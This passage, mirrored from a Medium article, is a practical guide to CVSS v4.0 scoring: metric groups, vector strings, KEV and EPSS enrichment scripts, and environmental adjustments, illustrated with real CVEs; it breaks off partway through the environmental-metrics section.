Skip to main content

CVSS v4.0: The Practical Field Guide for Vulnerability Management

Cover image

Article Metadata

Ecosystem Fit​

This page mirrors the original Medium article into the 1200km.com Docusaurus ecosystem. The original article flow, images, screenshots, infographics, and technical blocks are preserved from the export.

From a number that nobody trusts to a tool that changes how you work​

Article image

Table of Contents​

  • Introduction: CVSS Is a Tool, Not a Score

  • What Changed in v4.0 — and Why It Matters

  • v3.1 vs v4.0: Side-by-Side with Real CVEs

  • Anatomy of a CVSS v4.0 Vector String

  • The Three Metric Groups Explained

  • The CVSS Lifecycle: CVSS-B → CVSS-BT → CVSS-BTE

  • A Practical Scoring Workflow: Why Many Teams Go from CVSS-B → CVSS-BE → CVSS-BTE

  • Threat Metrics in Practice: KEV, EPSS, and Exploit Feeds

  • Environmental Metrics: Scoring for Your Environment

  • Worked Example 1: CVE-2021–44228 Log4Shell — Score Evolution Over 72 Hours

  • Worked Example 2: CVE-2025–32433 Erlang/OTP — From 10.0 to 5.9

  • Worked Example 3: Firmware Report — 18 Criticals Become Medium

  • Worked Example 4: CitrixBleed, MOVEit, FortiOS — Three Real-World Cases

  • Industry-Specific Scoring: Healthcare, Finance, OT/ICS

  • CVSS vs SSVC: When to Use Which

  • The Practical VM Workflow: From Scanner Output to Prioritized Action

  • CVSS v4.0 Enrichment Tool

  • CVSS as Regulatory Framework: The 5-Phase Maturity Model

  • Supplemental Metrics: The Overlooked Context Layer

  • The 8 Most Common CVSS Mistakes

  • Quick Reference Cheatsheet

  • Tools and Resources

  • Conclusion

Introduction: CVSS Is a Tool, Not a Score​

Every security team has a vulnerability scanner. Every scanner produces a list with numbers. And almost every team treats those numbers as the truth — sorting by score descending, starting at 9.8, working down.

This is wrong. And CVSS v4.0 was designed to fix it.

The CVSS SIG (Special Interest Group), which maintains the standard at FIRST.org, makes this point explicitly in the Consumer Implementation Guide:the Base score is a worst-case estimate for an unmitigated system in a generic environment, produced by a vendor who has never seen your network. It is a starting point, not an answer.

The 3–5% Problem​

According to CISA and multiple published threat intelligence studies, only3–5% of published CVEs have a known, functional exploit at any given time. The Exploit Prediction Scoring System (EPSS), maintained by FIRST.org, corroborates this: the median EPSS score across all published CVEs hovers below 0.05 (5% probability of exploitation within 30 days).

Yet the default CVSS calculation assumes a mature, weaponized exploit exists for every vulnerability. This means every score you see in your scanner — before you apply Threat and Environmental metrics — is calculated under an assumption that is false for 95–97% of CVEs.

The Operational Consequence​

Consider a mid-size organization’s typical scanner output:

Scanner report — typical enterprise environment:
  Total CVEs:        
847
  Critical (
9.0
+
):    
94
  High (
7.0
–
8.9
):    
203
With
 Base scores 
only
, approximate remediation timeline:
  
94
 Critical × 
~
8
 hours 
each
 
=
 
752
 analyst
-
hours
  
203
 High × 
~
4
 hours 
each
   
=
 
812
 analyst
-
hours
With
 Threat 
+
 Environmental enrichment (conservative estimate):
  
~
5
 
true
 Critical (KEV 
or
 active exploit, exposed 
system
): 
40
 hours
  
~
22
 
true
 High (POC 
exists
 
OR
 exposure 
without
 controls): 
88
 hours
Reduction: 
from
 
~
1
,
564
 analyst
-
hours 
to
 
~
128
 analyst
-
hours
-
 a 
92
%
 reduction 
in
 wasted effort

CVSS v4.0 provides the mechanism to achieve this reduction. This guide shows you exactly how.

What Changed in v4.0 — and Why It Matters​

CVSS v4.0 was released on November 1, 2023. The changes are more significant than any previous version update — v4.0 is effectively a redesign of the impact and temporal models.

New Impact Model: Two Systems Instead of One​

The biggest structural change: CVSS v4.0 separates impact into two systems:

Vulnerable System— the component directly compromised by the vulnerability (what the attacker hits first).Subsequent System— any system affected as a downstream consequence of exploiting the vulnerable system.

In v3.x, this distinction was handled through the vague “Scope” metric (Unchanged/Changed). In v4.0, it is explicit and granular:

v3
.1
 impact metrics:
  C (Confidentiality): 
None
 
/
 Low 
/
 High
  I (Integrity):       
None
 
/
 Low 
/
 High
  A (Availability):    
None
 
/
 Low 
/
 High
  S (
Scope
):           Unchanged 
/
 Changed
v4
.0
 impact metrics:
  VC (Vulnerable 
System
 Confidentiality): 
None
 
/
 Low 
/
 High
  VI (Vulnerable 
System
 Integrity):       
None
 
/
 Low 
/
 High
  VA (Vulnerable 
System
 Availability):    
None
 
/
 Low 
/
 High
  SC (Subsequent 
System
 Confidentiality): 
None
 
/
 Low 
/
 High
  SI (Subsequent 
System
 Integrity):       
None
 
/
 Low 
/
 High
  SA (Subsequent 
System
 Availability):    
None
 
/
 Low 
/
 High

**Why this matters operationally:**In v3.x, if an SSH daemon vulnerability only affects the single server it runs on, you score it Scope:Unchanged. If it can propagate to a database behind it, Scope:Changed. These two scenarios produced different base scores, but there was no way to capturehow muchthe subsequent system was affected. In v4.0, you can score a vulnerability that fully compromises the immediate system (VC:H/VI:H/VA:H) but has only partial downstream confidentiality impact (SC:L/SI:N/SA:N) — a much more precise description of real-world attack chains.

New Metric: Attack Requirements (AT)​

v4.0 adds**Attack Requirements (AT)**alongside Attack Complexity (AC). These two metrics were previously collapsed into one:

Article image

Real-world example:CVE-2022–26134(Confluence OGNL injection):

  • AC:L— exploitation is straightforward, no bypass required

  • AT:N— no special deployment preconditions; works against default installations

Article image

ForAC:H / AT:N— a race condition where the attacker must actively win timing, but no special deployment condition is required:

CVE-2024–6387 (OpenSSH “regreSSHion”)is a strong example. NVD describes it as a race condition insshdthat an unauthenticated remote attacker may trigger by failing authentication within a set time period. That maps well toAC:Hbecause exploitation depends on hitting a narrow timing window, butAT:Nbecause the race is part of the vulnerable code path itself, not dependent on a non-default deployment prerequisite.

Another reasonable example isCVE-2020–28049 (SDDM). NVD states the issue is caused by a race condition during Xauthority file creation, where for a short time an unprivileged local user can connect to the X server before authentication is properly enforced. Again, that is naturallyAC:Hbecause the attacker must exploit a transient timing window, whileAT:Nfits because the weakness is intrinsic to the vulnerable startup behavior rather than requiring some extra deployment state.

ForAC:L / AT:P— exploitation is easy once a particular non-default setup exists, but that setup is itself the precondition:

CVE-2025–24813 (Apache Tomcat)is a very clean example. Apache and NVD both state exploitation requires“writes enabled for the default servlet (disabled by default)”. Once that condition is present, the exploit path is not about winning a race or overcoming complex defensive mechanics; the main hurdle is that the vulnerable deployment configuration must exist. That makes it a good fit forAC:LandAT:P.

CVE-2021–45046 (Log4j 2.15.0)is another solid example. NVD explicitly says the issue appears only incertain non-default configurations, specifically when the logging configuration uses a non-default Pattern Layout with Context Lookup or Thread Context Map patterns. In CVSS v4 terms, that aligns withAT:Pbecause the environment must be deployed in that specific way; once it is, the attacker’s path is comparatively straightforward, soAC:Lis the better fit than AC:H.

A third example isTomcat CGI Servlet RCE on Windowsfrom the Tomcat security page. Apache states theCGI Servlet is disabled by defaultand the issue is exposed whenenableCmdLineArgumentsis enabled. That is another textbookAT:Pcase: the risky deployment state must be present first.

New Threat Metric: Exploit Maturity (E)​

The old v3.x Temporal metric group is now theThreatmetric group, containing a single metric:Exploit Maturity (E). The old Remediation Level and Report Confidence metrics were removed.

Article image

**The E:X trap:**When a CVE is published with no Exploit Maturity specified — which is the default from NVD and most scanners — CVSS v4.0 calculates as ifE:A. If you have 500 CVEs and never set Exploit Maturity, you are treating all 500 as actively exploited. SettingE:Ufor CVEs with no exploit evidence is not optimism — it is accuracy.

Article image

Cleaner Naming: CVSS-B, CVSS-BT, CVSS-BTE​

v4.0 introduces formal nomenclature for the scoring lifecycle. This naming is important for compliance documentation and vendor communication:

Article image

Supplemental Metric Group (New)​

A new optional group of metrics that providecontext without affecting the score: Safety (S), Automatable (AU), Recovery (R), Value Density (V), Vulnerability Response Effort (RE), Provider Urgency (U). These allow vendors to communicate operational context that the numeric score cannot capture.

v3.1 vs v4.0: Side-by-Side with Real CVEs​

Understanding the practical differences requires seeing the same vulnerability scored under both versions.

Example A: Log4Shell (CVE-2021–44228)​

CVSS
 v3.
1
 
vector:
CVSS
:
3.1
/
AV
:N/AC
:L/PR
:N/UI
:N/S
:C/C
:H/I
:H/A
:H
Score
: 
10.0
 
Critical
CVSS
 v4.
0
 
equivalent:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
Score
: 
10.0
 
Critical
What
 
changed:
 
The
 
"Scope:Changed"
 
in
 v3.
1
 is now explicit as 
SC
:H/SI
:H/SA
:H
.
In
 v4.
0
, you can see exactly what the downstream impact is, 
not
 just that scope
"changed"
. 
Both
 scores are 
10.0
 - the difference is expressiveness.

Example B: PrintNightmare (CVE-2021–34527) — Where Scoring Complexity Matters​

CVSS
 v3.
1
:
CVSS
:
3.1
/
AV
:N/AC
:L/PR
:L/UI
:N/S
:U/C
:H/I
:H/A
:H
Score
: 
8.8
 
High
CVSS
 v4.
0
:
CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:L/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H
Score
: 
9.8
 
Critical
Key
 
difference:
 v4.
0
 scores the 
DOMAIN
 
CONTROLLER
 scenario higher because
SC
:H/SI
:H/SA
:H
 explicitly captures that compromising a domain-joined system
enables domain-level compromise (subsequent system impact).
In
 v3.
1
, 
Scope
:Unchanged
 kept it at 
8.8
. 
In
 v4.
0
, 
if
 the subsequent system
(
Active
 
Directory
) has high 
CIA
 impact, the score correctly reflects that
a low-privilege exploit can ultimately lead to domain domination.

Example C: A Local Privilege Escalation — Where v4.0 Scores Lower​

Vulnerability
: 
Local
 service running as 
SYSTEM
, exploitable by authenticated user
No
 network access, no subsequent system impact.
CVSS
 v3.
1
:
CVSS
:
3.1
/
AV
:L/AC
:L/PR
:L/UI
:N/S
:U/C
:H/I
:H/A
:H
Score
: 
7.8
 
High
CVSS
 v4.
0
:
CVSS
:
4.0
/
AV
:L/AC
:L/AT
:N/PR
:L/UI
:N/VC
:H/VI
:H/VA
:H/SC
:N/SI
:N/SA
:N
Score
: 
7.3
 
High
v4.
0
 is more 
accurate:
 
SC
:N/SI
:N/SA
:N
 explicitly states that no downstream
systems are affected. 
This
 is a pure local privilege escalation with no
lateral movement potential.

Key Scoring Differences Summary​

Article image

Anatomy of a CVSS v4.0 Vector String​

The vector string is the machine-readable representation of all CVSS metric choices. It is the authoritative record of a vulnerability’s scoring.

Full v4.0 Vector String Format​

CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H

Breaking it down:

CVSS:4.0          — version identifier (required prefix)
BASE METRICS (
all 11 required - no omissions allowed)
:
  
AV
:N            - Attack 
Vector
: Network (remotely exploitable)
  
AC
:L            - Attack 
Complexity
: Low (straightforward)
  
AT
:N            - Attack 
Requirements
: None (no preconditions)
  
PR
:N            - Privileges 
Required
: None (unauthenticated)
  
UI
:N            - User 
Interaction
: None (attacker acts alone)
  
VC
:H            - Vulnerable System 
Confidentiality
: High (full disclosure)
  
VI
:H            - Vulnerable System 
Integrity
: High (full modification)
  
VA
:H            - Vulnerable System 
Availability
: High (full disruption)
  
SC
:H            - Subsequent System 
Confidentiality
: High
  
SI
:H            - Subsequent System 
Integrity
: High
  
SA
:H            - Subsequent System 
Availability
: High
THREAT METRICS (optional - defaults to X which assumes A):
  
E
:A             - Exploit 
Maturity
: Attacked (actively exploited)
ENVIRONMENTAL METRICS (optional - all default to X):
  
CR
:X / 
IR
:X / 
AR
:X  - Security Requirements (
not
 defined = use vendor defaults)
  
MAV
:A           - Modified Attack 
Vector
: Adjacent (overrides 
AV
:N)
  
MAC
:H           - Modified Attack 
Complexity
: High (compensating controls)
  
MAT
:X           - Modified Attack 
Requirements
: 
Not
 Defined
  
MPR
:X           - Modified Privileges 
Required
: 
Not
 Defined
  
MUI
:X           - Modified User 
Interaction
: 
Not
 Defined
  
MVC
:X / 
MVI
:X / 
MVA
:X   - Modified Vulnerable System impact
  
MSC
:X / 
MSI
:X / 
MSA
:X   - Modified Subsequent System impact
SUPPLEMENTAL METRICS (optional - informational, no score effect):
  
S
:X             - Safety
  
AU
:Y            - 
Automatable
: Yes
  
R
:X             - Recovery
  
V
:X             - Value Density
  
RE
:X            - Vulnerability Response Effort
  
U
:X             - Provider Urgency

Article image

Compact Form — Only Non-Default Values​

In practice, only include metrics that differ from “Not Defined” (X). A fully enriched vector for an isolated internal system with POC exploit:

CVSS
:
4.0
/
AV
:N/AC
:L/AT
:N/PR
:N/UI
:N/VC
:H/VI
:H/VA
:H/SC
:H/SI
:H/SA
:H/E
:P/MAV
:A/MAC
:H

The base metrics (all 11) are always required. Everything after that is optional and only included when set.

Parsing the Vector Programmatically​

def parse_cvss_v4_vector(vector: str) -> dict:
    
"""Parse a CVSS v4.0 vector string into a dictionary."""
    
if
 not vector.startswith(
"CVSS:4.0/"
):
        raise ValueError(
"Not a CVSS v4.0 vector"
)
parts = vector[
9
:].split(
"/"
)
    metrics = {}
    
for
 
part
 
in
 parts:
        
if
 
":"
 
in
 
part
:
            key, value = 
part
.split(
":"
, 
1
)
            metrics[key] = value
    
return
 metrics
# Example usage:
vector = 
"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/MAV:A"
parsed = parse_cvss_v4_vector(vector)
# {
'AV'
: 
'N'
, 
'AC'
: 
'L'
, 
'AT'
: 
'N'
, 
'PR'
: 
'N'
, 
'UI'
: 
'N'
,
#  
'VC'
: 
'H'
, 
'VI'
: 
'H'
, 
'VA'
: 
'H'
, 
'SC'
: 
'H'
, 
'SI'
: 
'H'
, 
'SA'
: 
'H'
,
#  
'E'
: 
'P'
, 
'MAV'
: 
'A'
}
exploit_maturity = parsed.
get
(
"E"
, 
"X"
)  # X = Not Defined (defaults to A)
attack_vector = parsed.
get
(
"MAV"
, parsed.
get
(
"AV"
))  # Modified overrides Base

The Calculator​

The FIRST.org calculator at[https://www.first.org/cvss/calculator/4-0](https://www.first.org/cvss/calculator/4.0)provides a visual interface. As you make selections, the vector string updates in real-time. Use the vector string as the authoritative record; use the calculator as the working interface.

Article image

The Three Metric Groups Explained​

Group 1: Base Metrics (Set by Vendor)​

Base metrics describe the intrinsic properties of the vulnerability itself, independent of time and environment.

Exploitability Metrics — describe the attack path:

Article image

Impact Metrics — what happens after a successful exploit:

Article image

Score Ranges (v4.0):

Article image

Group 2: Threat Metrics (Consumer + Threat Intel)​

Contains one metric:Exploit Maturity (E).

**The most impactful single adjustment available.**Setting E:U for a CVE with no public exploit can drop a 10.0 Critical to a 6–7 Medium/High — moving it from a 3am emergency to a scheduled maintenance window.

Primary sources for Exploit Maturity determination:

Article image

Group 3: Environmental Metrics (Consumer + Local Knowledge)​

Two sub-groups that let you encode what your security team knows about the actual deployment.

Security Requirements (CR/IR/AR)— how important is CIA for this specific asset:

High
-criticality production payment 
API
:
  
CR
:H
 / 
IR
:H
 / 
AR
:H
  →  scores 
INCREASE
 relative to 
Base
  (
This
 system is more important to protect than the vendor assumed)
Development
 test server (no real data, 
not
 customer-facing):
  
CR
:L
 / 
IR
:L
 / 
AR
:L
  →  scores 
DECREASE
 relative to 
Base
  (
This
 system is less important than the vendor assumed)

Modified Base Metrics (MAV, MAC, MAT, MPR, MUI, MVC, MVI, MVA, MSC, MSI, MSA)— override specific Base values to reflect actual deployment conditions. When a Modified metric is set, it replaces the corresponding Base metric in the score calculation:

Vendor
 
assumed:
 
AV
:N
 (any internet attacker)
Your
 
reality:
   
MAV
:A
 (system is behind a firewall, adjacent network only)
→ 
Score
 drops by ~
1.5
–
2.5
 points
Vendor
 
assumed:
 
AC
:L
 (straightforward exploitation)
Your
 
reality:
   
MAC
:H
 (attacker must first bypass your 
MFA
 + 
VPN
)
→ 
Score
 drops further

The CVSS Lifecycle: CVSS-B → CVSS-BT → CVSS-BTE​

FIRST.org describes CVSS v4.0 as aliving scorethat matures as information becomes available. This lifecycle maps to organizational maturity and regulatory requirements.

┌────────────────────────────────────────────────────────────────
-
──┐
│                    CVSS SCORING LIFECYCLE                         │
│                                                                   │
│  VENDOR PUBLISHES                                                 │
│  ┌─────────────┐                                                  │
│  │  CVSS
-
B     │  Base metrics 
only
                               │
│  │  (Worst     │  → Published 
in
 NVD, CVE records                 │
│  │   
Case
)     │  → Generic, deployment
-
independent               │
│  │  e.g. 
9.8
   │  → Produced 
by
 vendor
/
researcher                 │
│  └──────┬──────┘                                                  │
│         │  
Add
 Threat Intelligence (CISA KEV, EPSS, ExploitDB)    │
│         ▼                                                         │
│  ┌─────────────┐                                                  │
│  │  CVSS
-
BT    │  Base 
+
 Exploit Maturity                         │
│  │  (
Current
   │  → "Is this being exploited right now?"          │
│  │   Reality)  │  → Uses CISA KEV, EPSS, Metasploit, ExploitDB    │
│  │  e.g. 
7.4
   │  → Produced 
by
 consumer 
with
 threat intel        │
│  └──────┬──────┘                                                  │
│         │  
Add
 Environmental Context (your network
/
data
/
controls) │
│         ▼                                                         │
│  ┌─────────────┐                                                  │
│  │  CVSS
-
BTE   │  Base 
+
 Threat 
+
 Environment                     │
│  │  (Your      │  → "How bad is this here, for us, today?"        │
│  │   Reality)  │  → Uses asset inventory, network topology,       │
│  │  e.g. 
4.2
   │     compensating controls, CIA requirements      │
│  └─────────────┘  → Produced 
by
 consumer security team            │
│                                                                   │
│  DECISION: Patch
/
Mitigate timeline based 
on
 CVSS
-
BTE severity     │
└─────────────────────────────────────────────────────────────────
-
─┘

Article image

**Practical implementation path:**You do not need to achieve CVSS-BTE overnight. Start with CVSS-B (vendor score from NVD). Add Threat metrics when you have a threat intel program (CVSS-BT). Add Environmental metrics as you build asset inventory and network documentation (CVSS-BTE). Each layer improves decision quality.

A Practical Scoring Workflow: Why Many Teams Go from CVSS-B → CVSS-BE → CVSS-BTE​

Article image

The formal CVSS v4.0 framework defines four valid score sets:CVSS-B,CVSS-BT,CVSS-BE, andCVSS-BTE. Each one serves a distinct purpose, and each one reflects a different level of contextual enrichment.

At the specification level, it is easy to think of scoring as a neat progression fromBasetoBase + ThreattoBase + Threat + Environmental:

CVSS-B → CVSS-BT → CVSS-BTE

That sequence is formally correct.

But in real vulnerability management operations, many teams do not actually work in that order.

In practice, the more operationally useful path is often:

CVSS-B → CVSS-BE → CVSS-BTE

The reason is simple: in most organizations,environmental context is available immediately, whilethreat context often matures later.

When a new CVE is disclosed, you may not yet have reliable answers to threat-related questions such as:

  • Is public exploit code available?

  • Is exploitation merely theoretical, or already practical?

  • Has the vulnerability been weaponized?

  • Is it being used opportunistically, selectively, or at scale?

  • Has it appeared in KEV, exploit feeds, or credible threat reporting?

  • Is there confirmed in-the-wild activity, or only early speculation?

Those answers often arrive later — sometimes hours later, sometimes days later, and sometimes only after the vulnerability has already entered active exploitation cycles.

By contrast, your organization usually knows its own environmentimmediately.

The moment the CVE appears, you often already know:

  • whether the affected asset is internet-exposed or reachable only internally

  • whether it sits in production, staging, development, or an isolated lab

  • whether the vulnerable service is accessible by untrusted users

  • whether segmentation, VPN-only access, jump hosts, WAFs, or other compensating controls reduce practical exposure

  • whether the affected system is business-critical, safety-relevant, or low-impact

  • whether downstream confidentiality, integrity, availability, or operational consequences actually matter in your environment

  • whether exploitation would affect a crown-jewel system or a low-value supporting component

That means theEnvironmentaldimension is often the first real opportunity to replace vendor-neutral worst-case assumptions with organization-specific reality.

In other words, many teams can move fromBasetoBase + Environmentalon day one, even if threat intelligence is still incomplete.

That is why, in practical triage workflows, the sequence often becomes:

  • Start with CVSS-Bto establish the vendor-neutral severity baseline.

  • Apply Environmental metricsusing known internal context to produceCVSS-BE.

  • Add Threat metrics lateras evidence matures, producingCVSS-BTE.

This workflow is especially useful fornewly disclosed vulnerabilities, where waiting for mature threat data can slow prioritization at exactly the moment fast decisions are needed.

It also reflects a core reality of vulnerability operations:

Environmental context is usually local and immediate. Threat context is often external and delayed.

That doesnotmakeCVSS-BTunimportant.

CVSS-BT remains a fully valid and useful score, especially for:

  • threat-informed prioritization programs

  • dashboards that track exploitation pressure across large CVE sets

  • external reporting pipelines

  • security teams that heavily integrate KEV, exploit feeds, EPSS, or CTI into daily triage

  • situations where the threat picture is already mature, but local environmental scoring has not yet been completed

But for many defenders, patch teams, asset owners, and risk managers,CVSS-BE is often the first score that actually reflects operational reality inside the organization.

A useful way to think about the score sets is this:

  • CVSS-Btells you the general, vendor-neutral worst-case severity

  • CVSS-BEtells you what the vulnerability means inyourenvironment

  • CVSS-BTEtells you what it means inyourenvironment under thecurrent threat landscape

That distinction matters.

A vulnerability may look severe in abstract, but drop meaningfully once you account for isolation, segmentation, limited exposure, or low business impact. Another vulnerability may remain highly important even in a constrained environment because the affected asset is mission-critical. And once credible threat evidence appears — public exploitation, KEV inclusion, operational tooling, or real adversary use — the priority can rise again underBTE.

So while the formal model includesB,BT,BE, andBTEas parallel valid score sets, many real-world programs naturally operate in a different practical sequence:

CVSS-B → CVSS-BE → CVSS-BTE

That order is not a contradiction of the framework. It is simply how many teams apply the framework when immediate local context is available before complete external threat intelligence.

For that reason, if your goal is fast and defensible vulnerability triage,BE is often the first meaningful refinement of Base, andBTE becomes the fully contextualized score once both environment and threat are understood.

Threat Metrics in Practice: KEV, EPSS, and Exploit Feeds​

CISA Known Exploited Vulnerabilities (KEV) Catalog​

The KEV catalog is the gold standard forE:Adetermination. CISA adds a CVE only when it has confirmed, real-world exploitation evidence. As of March 2026, the catalog contains approximately 1,550+ CVEs — out of over 240,000 published CVEs in NVD. That is well under 1%.

# Check KEV via API — works immediately, no registration needed
curl -s 
"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
 \
  | python3 -c 
"
import json, sys
data = json.load(sys.stdin)
cve_id = 'CVE-2021-44228'
match = [v for v in data['vulnerabilities'] if v['cveID'] == cve_id]
if match:
    v = match[0]
    print(f'IN KEV: {v[\"vulnerabilityName\"]}')
    print(f'Due Date: {v[\"dueDate\"]}')
    print(f'Required Action: {v[\"requiredAction\"]}')
else:
    print('Not in KEV')
"
# Output for Log4Shell:
# IN KEV: Apache Log4j2 Remote Code Execution Vulnerability
# Due Date: 2021-12-24
# Required Action: Apply updates per vendor instructions.

Article image

Batch KEV check — Python with CSV output:

import json, requests, csv, sys
from
 datetime import datetime
def 
load_kev
() -> set:
    
""
"Download and return the set of CVE IDs in CISA KEV."
""
    url = 
"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
    response = requests.
get
(url, timeout=
30
)
    response.
raise_for_status
()
    
return
 {v[
"cveID"
]: v 
for
 v in response.
json
()[
"vulnerabilities"
]}
def 
load_epss
(
cve_ids
: 
list
) -> dict:
    
""
"Fetch EPSS scores for a list of CVE IDs from FIRST.org API."
""
    base_url = 
"https://api.first.org/data/v1/epss"
    scores = {}
    
# API accepts comma-separated CVE IDs, max ~30 per request
    
for
 i in 
range
(
0
, 
len
(cve_ids), 
30
):
        batch = 
","
.
join
(cve_ids[
i
:i+
30
])
        resp = requests.
get
(f
"{base_url}?cve={batch}"
, timeout=
30
)
        
if
 resp.ok:
            
for
 item in resp.
json
().
get
(
"data"
, []):
                scores[item[
"cve"
]] = 
float
(item[
"epss"
])
    
return
 scores
def 
determine_exploit_maturity
(
cve_id
: str, 
kev_data
: dict, 
epss_scores
: dict) -> str:
    
""
"
    Determine Exploit Maturity based on KEV and EPSS.
    Returns the CVSS v4.0 E: value.
    "
""
    
if
 cve_id in kev_data:
        
return
 
"E:A"
  
# Confirmed active exploitation
    epss = epss_scores.
get
(cve_id, 
0.0
)
    
if
 epss >= 
0.5
:
        
# EPSS ≥ 50% = high exploitation likelihood → strong POC signal
        
return
 
"E:P"
    elif epss >= 
0.1
:
        
# Moderate signal - verify against ExploitDB/Metasploit/GitHub
        
return
 
"E:P"
    
else
:
        
# Low EPSS, not in KEV - no exploitation evidence
        
return
 
"E:U"
# Example: Enrich a list of CVEs from your scanner
cves_from_scanner = [
    
"CVE-2021-44228"
,  
# Log4Shell
    
"CVE-2023-4966"
,   
# CitrixBleed
    
"CVE-2023-34362"
,  
# MOVEit SQLi
    
"CVE-2024-21762"
,  
# FortiOS SSL VPN
    
"CVE-2025-32433"
,  
# Erlang/OTP SSH
]
kev = 
load_kev
()
epss = 
load_epss
(cves_from_scanner)
print
(f
"{'CVE':<20} {'KEV':>5} {'EPSS':>8} {'E Value':<10}"
)
print
(
"-"
 * 
50
)
for
 cve in cves_from_scanner:
    in_kev = 
"YES"
 
if
 cve in kev 
else
 
"NO"
    epss_score = epss.
get
(cve, 
0.0
)
    e_value = 
determine_exploit_maturity
(cve, kev, epss)
    
print
(f
"{cve:<20} {in_kev:>5} {epss_score:>8.4f} {e_value:<10}"
)

EPSS — The Probabilistic Complement to CVSS​

The**Exploit Prediction Scoring System (EPSS)**is a machine learning model maintained by FIRST.org that predicts the probability of a CVE being exploited in the wild within 30 days. It complements CVSS by answering a different question: not “how severe is the vulnerability?” but “how likely is it to be exploited soon?”

EPSS characteristics:

  • Score range: 0.0 to 1.0 (probability)

  • Updated daily

  • Uses ML trained on NVD data, Metasploit module availability, ExploitDB entries, active threat feeds

  • Free API:[https://api.first.org/data/v1/epss?cve=CVE-XXXX-XXXXX](https://api.first.org/data/v1/epss?cve=CVE-XXXX-XXXXX)

How to combine CVSS + EPSS for prioritization:

Priority Matrix:
                    EPSS Low (<0.1)    EPSS Medium (0.1-0.5)    EPSS High (>0.5)
CVSS High/Critical   → Schedule          → Priority                → Immediate
CVSS Medium          → Backlog           → Schedule                → Priority
CVSS Low             → Accept/Ignore     → Backlog                 → Schedule
Real examples (approximate, as of early 2024):
  CVE-2021-44228 (Log4Shell):   CVSS 10.0, EPSS ~0.97 → Immediate
  CVE-2023-4966  (CitrixBleed): CVSS 9.4,  EPSS ~0.97 → Immediate
  CVE-2021-34527 (PrintNightm): CVSS 8.8,  EPSS ~0.96 → Immediate
  CVE-2023-34362 (MOVEit):      CVSS 9.8,  EPSS ~0.96 → Immediate
  Typical new CVE (no exploit): CVSS 7.5,  EPSS ~0.002 → Schedule/Backlog
# 
Quick EPSS check 
for
 a CVE
curl -s "https://api.first.org/data/v1/epss?cve=CVE-2021-44228" \
  | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['data'][0])"
# 
{
'cve'
: 
'CVE-2021-44228'
, 
'epss'
: 
'0.97530'
, 
'percentile'
: 
'1.00000'
, 
'date'
: 
'<today>'
}
# 
EPSS scores are updated daily - check the 
date
 field to confirm freshness

The Step-by-Step Threat Metric Determination Workflow​

For
 
each
 CVE 
in
 your scanner output:
Step
 
1
: Check CISA KEV (
30
 seconds, fully automated)
  → 
IN
 KEV?  → 
Set
 E:A, mark 
as
 highest priority
  → 
NOT
 
IN
 KEV? → 
Continue
 
to
 
Step
 
2
Step
 
2
: Check EPSS score
  → EPSS ≥ 
0.5
?  → Strong exploitation likelihood → E:P at minimum
  → EPSS 
0.1
–
0.5
? → Moderate likelihood → E:P (verify against ExploitDB)
  → EPSS < 
0.1
?  → Low likelihood → 
Continue
 
to
 
Step
 
3
Step
 
3
: Check ExploitDB / Metasploit / GitHub
  searchsploit CVE-XXXX-XXXXX
  msfconsole -q -x 
"search cve:XXXX-XXXXX type:exploit; exit"
  → 
Module
/exploit found? → E:P
  → 
Nothing
 found? → 
Continue
 
to
 
Step
 
4
Step
 
4
: 
Default
 assignment
  → No KEV, no EPSS signal, no 
public
 exploit → E:U

Environmental Metrics: Scoring for Your Environment​

The Core Principle​

A vulnerability vendor scores a system as if it is:

  • Directly accessible from the internet (AV:N)

  • Running with no compensating controls

  • Processing your most sensitive data

  • Able to reach any system in your network

Your security team knows this is almost never true for any given system. Environmental metrics encode that knowledge as documented, auditable adjustments.

Practical Environmental Metric Decisions​

Decision 1: Network Exposure

Vendor scored:
 
AV:N
 
(reachable
 
from
 
anywhere
 
on
 
the
 
internet)
Scenario A - Internet-facing server:
  
No
 
change
 
needed.
 
AV:N
 
reflects
 
reality.
Scenario
 
B
 
-
 
Internal
 
VLAN,
 
firewall-controlled:
  
MAV:A
 
(Modified
 
Attack Vector:
 
Adjacent)
  
Documentation:
 
"System resides on VLAN 10, firewall rule FW-2041 blocks
  all inbound access from WAN. Last verified: [date], Change ticket: [ID]"
  
Score effect:
 
-1.5
 
to
 
-2.5
 
points
 
typically
Scenario
 
C
 
-
 
Jump
 
host
 
required,
 
no direct network path:
  
MAV:L
 
(Modified
 
Attack Vector:
 
Local)
  
Documentation:
 
"SSH access only via jump-host JUMP-01, no direct routing
  from any external zone. Network diagram: NDG-004"
  
Score effect:
 
more
 
significant
 
reduction

Decision 2: Compensating Security Controls

Vendor scored: AC:L (low complexity — straightforward exploitation)
Your reality: 
system
 access requires:
  (
1
) VPN authentication 
with
 hardware MFA token
  (
2
) Jump host 
with
 session recording
  (
3
) IP allowlisting 
to
 
specific
 bastion hosts
→ MAC:H (Modified Attack Complexity: High)
  "Exploiting this in our environment requires bypassing enterprise VPN
  (MFA-protected), jump host IP filtering, and session monitoring.
  Policy reference: NET-POLICY-022"

Decision 3: Data Sensitivity

Vendor
 
scored:
 
VC
:H
 (high confidentiality impact — assumes worst-
case
 data)
Scenario
 A - 
System
 processes 
PII
, financial, 
or
 health 
data:
  
No
 change. 
VC
:H
 is appropriate.
  
Consider
 setting 
CR
:H
 to amplify the score.
Scenario
 B - 
System
 is a build server, processes only source code 
and
artifact hashes, no customer 
data:
  
MVC
:L
 (
Modified
 
Vulnerable
 
System
 
Confidentiality
: 
Low
)
  
Documentation
: 
"System data classification: Internal/Technical per
  DLP-2023. No PII, financial, or regulated data categories."

Decision 4: Blast Radius (Subsequent System Impact)

Vendor
 
scored:
 
SC
:H/SI
:H/SA
:H
 (can affect downstream systems)
Your
 
reality:
 this system has no outbound connections except to its
own read-only database. 
No
 service accounts with lateral movement
potential. 
Network
 segmentation enforced by firewall.
MSC
:N
 / 
